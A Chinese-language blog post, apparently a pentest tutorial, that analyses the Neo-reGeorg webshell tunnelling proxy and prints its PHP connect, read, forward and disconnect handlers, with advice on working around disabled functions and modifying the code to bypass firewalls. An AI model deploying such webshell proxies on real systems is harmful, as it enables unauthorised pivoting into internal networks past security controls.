前言

随着企业安全意识不断提高,内网不出网已经变成了一种常态。而在这种情况下,我们就需要去做内网正向代理。我么们来分析常用的工具,学习如何实现基于web的正向代理。

Neo-reGeorg

Neo-reGeorg是在不出网环境下做代理最常用的工具了,它能给我们提供全局流量代理和内网的流量负载均衡。Neo-reGeorg是基于reGeorg的重构项目,reGeorg已经是很久前的项目了,他在面对一些较为严苛的网络环境下已经力不从心,而且它的隐秘性和稳定性也存在较大问题。
Neo-reGeorg的原理可以理解为在本地建立监听,提供socket服务,并将数据通过http/https传递到webshell上,由webshell做中转。

php代理shell

我们先从web端的代理shell分析,所有的基于webshell的代理工具的原理都是将socket流量转为http流量去实现内网代理。分析实现代码的原理有利于我们去对代码修改实现防火墙绕过等功能。
首先来分析使用最多的php,分析代码结构可以看到,通过cmd变量实现控制四个功能:CONNECT、DISCONNECT、READ、FORWARD
:

CONNECT

connect中建立连接传递信息,其通信原理是通过session来接收socket转发收到的内容。

//建立socket连接
$res = fsockopen($target, $port, $errno, $errstr, 1);
//建立成功返回X-STATUS:OK![](http://www.kitsch.life/wp-content/uploads/2021/11/2021121713430166.png)
if ($res === false)
{
    header('X-STATUS: FAIL');
    header('X-ERROR: Failed connecting to target');
    return;
}

//初始化session
@session_start();
$_SESSION[$run] = true;
$_SESSION[$writebuf] = "";
$_SESSION[$readbuf] = "";
session_write_close();

php提供了内置函数fsockopen来建立一个socket连接,如果fsockopen被disable_function禁用,这里也可以替换为pfsockopen。
两者的区别在于前者建立短期连接,而pfsockopen则是长期连接。这里我们只需要获取信息,所以两者皆可。
之后将session中要写入的内容取出,写入socket缓存中

READ

读取session内容

@session_start();
$readBuffer = $_SESSION[$readbuf];
$_SESSION[$readbuf]="";
$running = $_SESSION[$run];
session_write_close();
//判断连接存活
if ($running) {
    header('X-STATUS: OK');
    header("Connection: Keep-Alive");
    //输出session中内容
    echo strtr(base64_encode($readBuffer), $en, $de);
} else {
    header('X-STATUS: FAIL');
}

FORWARD

@session_start();
$running = $_SESSION[$run];
    session_write_close();
    if(!$running){
    header('X-STATUS: FAIL');
    header('X-ERROR: No more running, close now');
    return;
}
header('Content-Type: application/octet-stream');
$rawPostData = file_get_contents("php://input");
if ($rawPostData) {
    @session_start();
    $_SESSION[$writebuf] .= base64_decode(strtr($rawPostData, $de, $en));
    session_write_close();
    header('X-STATUS: OK');
    header("Connection: Keep-Alive");
} else {
    header('X-STATUS: FAIL');
    header('X-ERROR: POST request read filed');
}

这一步将接收的数据保存到session,接收使用php://input。在文件开头可以看到打开了文件包含的两个开关

ini_set("allow_url_fopen", true);
ini_set("allow_url_include", true);

ini_set被禁用的情况下可以删除,不影响使用。

DISCONNECT

@session_start();
unset($_SESSION[$run]);
unset($_SESSION[$readbuf]);
unset($_SESSION[$writebuf]);
session_write_close();

关闭连接然并删除session

jsp代理shell

jsp的代理方式与php大同小异,都是使用session接收数据,通过四个功能来实现代理

jsp没有内置socket函数,所以使用字节码接收数据。

python客户端

客户端是Neo-reGeorg区别于前辈reGeorg较大的地方,Neo-reGeorg增加了内网转发、全局代理、shell加密、端口转发等功能。
首先查看主函数

将参数传入askGeorg函数,跟进


askGeorg方法检测shell是否可用


设置参数,并绑定本地端口


创建一个session类进行连接,session是连接的主要实现类


session类中parseSocks5方法负责在本地建立监听


获取shell地址,这里同reGeorg不同的是,Neo-reGeorg使用key做加密,调用设置key才可以连接shell


将key编码后作为种子,通过random.send控制后续随机数


是使用writer函数同远程shell做数据传递


reader做读取,获取返回数据

后续通讯都是重复以上步骤。


"孓然一身 , 了无牵挂"